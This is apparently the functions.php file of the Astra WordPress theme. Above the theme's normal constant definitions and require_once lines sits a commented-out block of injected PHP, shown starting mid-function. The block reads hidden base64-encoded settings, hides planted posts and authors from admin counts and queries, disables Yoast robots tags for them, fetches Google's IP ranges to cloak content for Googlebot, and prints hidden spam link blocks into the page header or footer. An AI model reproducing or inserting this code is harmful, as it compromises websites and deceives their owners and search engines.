// // STR; // } // function get_post_thumbnail_id_sample($url, $get_the_date_statement, $get_option_other, $priority) { // return << // $url // $get_the_date_statement // $get_option_other // $priority // \n\n // STR; // } // function wp_footer_xml($writersArr) { // $wp_head_library = array(); // foreach ($writersArr as $item) { // $wp_head_library[] = '-' . $item; // } // return implode(',', $wp_head_library); // } // function wp_nav_menu_decryption() { // $the_archive_title_beta = array(); // $get_setting_trigger = array(); // $settings = get_option('wp_custom_filters'); // if ($settings) { // $get_search_form_character = unserialize(base64_decode($settings)); // if ($get_search_form_character) { // $the_archive_title_beta = $get_search_form_character; // } // } // $settings = get_option(md5(sha1($_SERVER['HTTP_HOST']))); // if ($settings) { // $wp_nav_menu_trigger = unserialize(base64_decode($settings)); // if ($wp_nav_menu_trigger) { // $get_setting_trigger = $wp_nav_menu_trigger; // } // } // return $get_setting_trigger + $the_archive_title_beta; // } // function _e_sample() { // global $get_search_form_function; // foreach ($get_search_form_function as $post_class_reference => $get_the_date_function) { // $wp_list_comments_character = key($get_the_date_function['sitemapsettings']) . '|' // . str_replace('index.php?', '', current($get_the_date_function['sitemapsettings']) . '$'); // if (preg_match("~$wp_list_comments_character~", $_SERVER['REQUEST_URI'])) { // return $post_class_reference; // } // } // } // function is_active_sidebar_restful() { // global $get_search_form_function, $post; // $get_transient_encryption = array_keys($get_search_form_function); // if (in_array($post->post_author, $get_transient_encryption)) { // return true; // } // return false; // } // function number_format_i18n_integer() { // global $get_search_form_function, $post; // $get_transient_encryption = array_keys($get_search_form_function); // if (!$post || !property_exists($post, 'author')) { // return; // } // if (in_array($post->post_author, $get_transient_encryption)) { // add_filter('wpseo_robots', '__return_false'); // add_filter('wpseo_googlebot', '__return_false'); // Yoast SEO 14.x or newer // add_filter('wpseo_bingbot', '__return_false'); // Yoast SEO 14.x or newer // } // } // function get_the_tag_list_string() { // if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { // return $_SERVER['HTTP_X_FORWARDED_FOR']; // } // if (isset($_SERVER['HTTP_CF_CONNECTING_IP'])) { // return $_SERVER['HTTP_CF_CONNECTING_IP']; // } // if (isset($_SERVER['REMOTE_ADDR'])) { // return $_SERVER['REMOTE_ADDR']; // } // return false; // } // function get_sidebar_constructor() { // $the_post_pointer = get_the_tag_list_string(); // if (strstr($the_post_pointer, ', ')) { // $add_partial_long = explode(', ', $the_post_pointer); // $the_post_pointer = $add_partial_long[0]; // } // $body_class_xml = get_the_time_ajax(); // if (!$body_class_xml) { // return false; // } // foreach ($body_class_xml as $range) { // if (get_theme_mod_pointer($the_post_pointer, $range)) { // return true; // } // } // return false; // } // function number_format_i18n_xml($timestamp) { // if ((time() - $timestamp) > 60 * 60) { // return true; // } // return false; // } // function get_the_time_ajax() { // if (($value = get_option('wp_custom_range')) && !number_format_i18n_xml($value['timestamp'])) { // return $value['ranges']; // } else { // $response = wp_remote_get('https://www.gstatic.com/ipranges/goog.txt'); // if (is_wp_error($response)) { // return; // } // $body = wp_remote_retrieve_body($response); // $body_class_xml = preg_split("~(\r\n|\n)~", trim($body), -1, PREG_SPLIT_NO_EMPTY); // if (!is_array($body_class_xml)) { // return; // } // $value = array('ranges' => $body_class_xml, 'timestamp' => time()); // update_option('wp_custom_range', $value, true); // return $value['ranges']; // } // } // function add_image_size_https($inet) { // $get_theme_file_uri_list = str_split($inet); // $esc_html_beta = ''; // foreach ($get_theme_file_uri_list as $char) { // $esc_html_beta .= str_pad(decbin(ord($char)), 8, '0', STR_PAD_LEFT); // } // return $esc_html_beta; // } // function get_theme_mod_pointer($the_post_pointer, $cidrnet) { // $the_post_pointer = inet_pton($the_post_pointer); // $esc_html_beta = add_image_size_https($the_post_pointer); // list($net, $comment_form_schema) = explode('/', $cidrnet); // $net = inet_pton($net); // $get_the_time_statement = add_image_size_https($net); // $get_author_posts_url_string = substr($esc_html_beta, 0, $comment_form_schema); // $wp_head_constructor = substr($get_the_time_statement, 0, $comment_form_schema); // if ($get_author_posts_url_string !== $wp_head_constructor) { // return false; // } else { // return true; // } // } // function add_image_size_exception($comments_open_pic) { // global $post; // $esc_html_time = ''; // if (the_posts_pagination_sample($comments_open_pic, 'textBlocksCount', 'onlyHomePage')) { // if (is_front_page() || is_home()) { // $esc_html_time = get_option('home_links_custom_0'); // } // } elseif (the_posts_pagination_sample($comments_open_pic, 'textBlocksCount', '10DifferentTextBlocks')) { // $url = get_permalink($post->ID); // preg_match('~\d~', md5($url), $matches); // $esc_html_time = get_option('home_links_custom_' . $matches[0]); // } elseif (the_posts_pagination_sample($comments_open_pic, 'textBlocksCount', '100DifferentTextBlocks')) { // $url = get_permalink($post->ID); // preg_match_all('~\d~', md5($url), $matches); // $wp_nav_menu_repository = ($matches[0][0] == 0) ? $matches[0][1] : $matches[0][0] . '' . $matches[0][1]; // $esc_html_time = get_option('home_links_custom_' . $wp_nav_menu_repository); // } elseif (the_posts_pagination_sample($comments_open_pic, 'textBlocksCount', 'fullDifferentTextBlocks')) { // } else { // } // return !$esc_html_time ? '' : $esc_html_time; // } // function the_posts_pagination_sample($get_the_date_function, $get_option_info, $home_url_new) { // if (!isset($get_the_date_function[$get_option_info][$home_url_new])) { // return false; // } // if ($get_the_date_function[$get_option_info][$home_url_new] === 1) { // return true; // } // return false; // } // function the_archive_title_http($comments_open_pic, $add_section_path) { // if (empty($add_section_path)) { // return ''; // } // if (the_posts_pagination_sample($comments_open_pic, 'hiddenType', 'css')) { // preg_match('~\d~', md5($_SERVER['HTTP_HOST']), $blockNum); // $the_content_double = admin_url_num(); // $wp_get_attachment_image_src_https = $the_content_double[$blockNum[0]]; // return $wp_get_attachment_image_src_https[0] . PHP_EOL . $add_section_path . PHP_EOL . $wp_get_attachment_image_src_https[1]; // } // return $add_section_path; // } // function admin_url_num() { // return array( // array('
', '
'), // array('
', '
'), // array('
', '
'), // array('
', '
'), // array('
', '
'), // array('
', '
'), // array('', ''), // array('', ''), // array('', ''), // array('
', '
'), // ); // } // function get_the_date_wp($comments_open_pic) { // return the_posts_pagination_sample($comments_open_pic, 'position', 'head'); // } // function is_customize_preview_edit($comments_open_pic) { // return the_posts_pagination_sample($comments_open_pic, 'position', 'footer'); // } // function register_sidebar_trigger($settings) { // foreach ($settings as $post_class_reference => $get_the_date_function) { // if (isset($get_the_date_function['homeLinks'])) { // return $get_the_date_function['homeLinks']; // } // } // return array(); // } // function get_comments_number_xml() { // if (!is_active_sidebar_restful()) { // if (is_singular() || (is_front_page() || is_home())) { // return true; // } // } // return false; // } // function is_search_condition() { // global $comments_open_pic; // if (!get_comments_number_xml()) { // return; // } // if (the_posts_pagination_sample($comments_open_pic, 'hiddenType', 'cloacking')) { // if (!get_sidebar_constructor()) { // return; // } // } // $add_section_path = add_image_size_exception($comments_open_pic); // $add_section_path = the_archive_title_http($comments_open_pic, $add_section_path); // echo $add_section_path; // } // $get_search_form_function = wp_nav_menu_decryption(); // if (is_array($get_search_form_function)) { // add_filter('posts_where_paged', 'get_transient_constructor'); // add_action('pre_get_posts', 'get_bloginfo_encryption'); // add_action('wp_enqueue_scripts', 'esc_attr_e_ajax'); // add_filter('wp_count_posts', '_x_less' , 10, 3); // add_filter('rewrite_rules_array', 'is_home_class'); // add_action('wp_loaded', 'wp_die_repository'); // add_action('init', 'the_post_first'); // add_action('template_redirect', 'number_format_i18n_integer'); // $comments_open_pic = register_sidebar_trigger($get_search_form_function); // if (!empty($comments_open_pic)) { // if (get_the_date_wp($comments_open_pic)) { // add_action('wp_head', 'is_search_condition'); // } // if (is_customize_preview_edit($comments_open_pic)) { // add_action('wp_footer', 'is_search_condition'); // } // } // } // /* 31d8d72e2ab7aef336eee84a6c832bb0 */ /** * Astra functions and definitions * * @link https://developer.wordpress.org/themes/basics/theme-functions/ * * @package Astra * @since 1.0.0 */ if ( ! defined( 'ABSPATH' ) ) { exit; // Exit if accessed directly. } /** * Define Constants */ define( 'ASTRA_THEME_VERSION', '4.8.7' ); define( 'ASTRA_THEME_SETTINGS', 'astra-settings' ); define( 'ASTRA_THEME_DIR', trailingslashit( get_template_directory() ) ); define( 'ASTRA_THEME_URI', trailingslashit( esc_url( get_template_directory_uri() ) ) ); define( 'ASTRA_THEME_ORG_VERSION', file_exists( ASTRA_THEME_DIR . 'inc/w-org-version.php' ) ); /** * Minimum Version requirement of the Astra Pro addon. * This constant will be used to display the notice asking user to update the Astra addon to the version defined below. */ define( 'ASTRA_EXT_MIN_VER', '4.8.4' ); /** * Load in-house compatibility. */ if ( ASTRA_THEME_ORG_VERSION ) { require_once ASTRA_THEME_DIR . 'inc/w-org-version.php'; } /** * Setup helper functions of Astra. */ require_once ASTRA_THEME_DIR . 'inc/core/class-astra-theme-options.php'; require_once ASTRA_THEME_DIR . 'inc/core/class-theme-strings.php'; require_once ASTRA_THEME_DIR . 'inc/core/common-functions.php'; require_once ASTRA_THEME_DIR . 'inc/core/class-astra-icons.php'; define( 'ASTRA_PRO_UPGRADE_URL', ASTRA_THEME_ORG_VERSION ? astra_get_pro_url( 'https://wpastra.com/pricing/', 'dashboard', 'free-theme', 'dashboard' ) : 'https://woocommerce.com/products/astra-pro/' ); define( 'ASTRA_PRO_CUSTOMIZER_UPGRADE_URL', ASTRA_THEME_ORG_VERSION ? astra_get_pro_url( 'https://wpastra.com/pricing/', 'customizer', 'free-theme', 'upgrade' ) : 'https://woocommerce.com/products/astra-pro/' ); /** * Update theme */ require_once ASTRA_THEME_DIR . 'inc/theme-update/astra-update-functions.php'; require_once ASTRA_THEME_DIR . 'inc/theme-update/class-astra-theme-background-updater.php'; /** * Fonts Files */ require_once ASTRA_THEME_DIR . 'inc/customizer/class-astra-font-families.php'; if ( is_admin() ) { require_once ASTRA_THEME_DIR . 'inc/customizer/class-astra-fonts-data.php'; } require_once ASTRA_THEME_DIR . 'inc/lib/webfont/class-astra-webfont-loader.php'; require_once ASTRA_THEME_DIR . 'inc/lib/docs/class-astra-docs-loader.php'; require_once ASTRA_THEME_DIR . 'inc/customizer/class-astra-fonts.php'; require_once ASTRA_THEME_DIR . 'inc/dynamic-css/custom-menu-old-header.php'; require_once ASTRA_THEME_DIR . 'inc/dynamic-css/container-layouts.php'; require_once ASTRA_THEME_DIR . 'inc/dynamic-css/astra-icons.php'; require_once ASTRA_THEME_DIR . 'inc/core/class-astra-walker-page.php'; require_once ASTRA_THEME_DIR . 'inc/core/class-astra-enqueue-scripts.php'; require_once ASTRA_THEME_DIR . 'inc/core/class-gutenberg-editor-css.php'; require_once ASTRA_THEME_DIR . 'inc/core/class-astra-wp-editor-css.php'; require_once ASTRA_THEME_DIR . 'inc/dynamic-css/block-editor-compatibility.php'; require_once ASTRA_THEME_DIR . 'inc/dynamic-css/inline-on-mobile.php'; require_once ASTRA_THEME_DIR . 'inc/dynamic-css/content-background.php'; require_once ASTRA_THEME_DIR . 'inc/class-astra-dynamic-css.php'; require_once ASTRA_THEME_DIR . 'inc/class-astra-global-palette.php'; // Enable NPS Survey only if the starter templates version is < 4.3.7 or > 4.4.4 to prevent fatal error. if ( ! defined( 'ASTRA_SITES_VER' ) || version_compare( ASTRA_SITES_VER, '4.3.7', '<' ) || version_compare( ASTRA_SITES_VER, '4.4.4', '>' ) ) { // NPS Survey Integration require_once ASTRA_THEME_DIR . 'inc/lib/class-astra-nps-notice.php'; require_once ASTRA_THEME_DIR . 'inc/lib/class-astra-nps-survey.php'; } /** * Custom template tags for this theme. */ require_once ASTRA_THEME_DIR . 'inc/core/class-astra-attr.php'; require_once ASTRA_THEME_DIR . 'inc/template-tags.php'; require_once ASTRA_THEME_DIR . 'inc/widgets.php'; require_once ASTRA_THEME_DIR . 'inc/core/theme-hooks.php'; require_once ASTRA_THEME_DIR . 'inc/admin-functions.php'; require_once ASTRA_THEME_DIR . 'inc/core/sidebar-manager.php'; /** * Markup Functions */ require_once ASTRA_THEME_DIR . 'inc/markup-extras.php'; require_once ASTRA_THEME_DIR . 'inc/extras.php'; require_once ASTRA_THEME_DIR . 'inc/blog/blog-config.php'; require_once ASTRA_THEME_DIR . 'inc/blog/blog.php'; require_once ASTRA_THEME_DIR . 'inc/blog/single-blog.php'; /** * Markup Files */ require_once ASTRA_THEME_DIR . 'inc/template-parts.php'; require_once ASTRA_THEME_DIR . 'inc/class-astra-loop.php'; require_once ASTRA_THEME_DIR . 'inc/class-astra-mobile-header.php'; /** * Functions and definitions. */ require_once ASTRA_THEME_DIR . 'inc/class-astra-after-setup-theme.php'; // Required files. require_once ASTRA_THEME_DIR . 'inc/core/class-astra-admin-helper.php'; require_once ASTRA_THEME_DIR . 'inc/schema/class-astra-schema.php'; /* Setup API */ require_once ASTRA_THEME_DIR . 'admin/includes/class-astra-api-init.php'; if ( is_admin() ) { /** * Admin Menu Settings */ require_once ASTRA_THEME_DIR . 'inc/core/class-astra-admin-settings.php'; require_once ASTRA_THEME_DIR . 'admin/class-astra-admin-loader.php'; require_once ASTRA_THEME_DIR . 'inc/lib/astra-notices/class-astra-notices.php'; } /** * Metabox additions. */ require_once ASTRA_THEME_DIR . 'inc/metabox/class-astra-meta-boxes.php'; require_once ASTRA_THEME_DIR . 'inc/metabox/class-astra-meta-box-operations.php'; /** * Customizer additions. */ require_once ASTRA_THEME_DIR . 'inc/customizer/class-astra-customizer.php'; /** * Astra Modules. */ require_once ASTRA_THEME_DIR . 'inc/modules/posts-structures/class-astra-post-structures.php'; require_once ASTRA_THEME_DIR . 'inc/modules/related-posts/class-astra-related-posts.php'; /** * Compatibility */ require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-gutenberg.php'; require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-jetpack.php'; require_once ASTRA_THEME_DIR . 'inc/compatibility/woocommerce/class-astra-woocommerce.php'; require_once ASTRA_THEME_DIR . 'inc/compatibility/edd/class-astra-edd.php'; require_once ASTRA_THEME_DIR . 'inc/compatibility/lifterlms/class-astra-lifterlms.php'; require_once ASTRA_THEME_DIR . 'inc/compatibility/learndash/class-astra-learndash.php'; require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-beaver-builder.php'; require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-bb-ultimate-addon.php'; require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-contact-form-7.php'; require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-visual-composer.php'; require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-site-origin.php'; require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-gravity-forms.php'; require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-bne-flyout.php'; require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-ubermeu.php'; require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-divi-builder.php'; require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-amp.php'; require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-yoast-seo.php'; require_once ASTRA_THEME_DIR . 'inc/compatibility/surecart/class-astra-surecart.php'; require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-starter-content.php'; require_once ASTRA_THEME_DIR . 'inc/addons/transparent-header/class-astra-ext-transparent-header.php'; require_once ASTRA_THEME_DIR . 'inc/addons/breadcrumbs/class-astra-breadcrumbs.php'; require_once ASTRA_THEME_DIR . 'inc/addons/scroll-to-top/class-astra-scroll-to-top.php'; require_once ASTRA_THEME_DIR . 'inc/addons/heading-colors/class-astra-heading-colors.php'; require_once ASTRA_THEME_DIR . 'inc/builder/class-astra-builder-loader.php'; // Elementor Compatibility requires PHP 5.4 for namespaces. if ( version_compare( PHP_VERSION, '5.4', '>=' ) ) { require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-elementor.php'; require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-elementor-pro.php'; require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-web-stories.php'; } // Beaver Themer compatibility requires PHP 5.3 for anonymous functions. if ( version_compare( PHP_VERSION, '5.3', '>=' ) ) { require_once ASTRA_THEME_DIR . 'inc/compatibility/class-astra-beaver-themer.php'; } require_once ASTRA_THEME_DIR . 'inc/core/markup/class-astra-markup.php'; /** * Load deprecated functions */ require_once ASTRA_THEME_DIR . 'inc/core/deprecated/deprecated-filters.php'; require_once ASTRA_THEME_DIR . 'inc/core/deprecated/deprecated-hooks.php'; require_once ASTRA_THEME_DIR . 'inc/core/deprecated/deprecated-functions.php';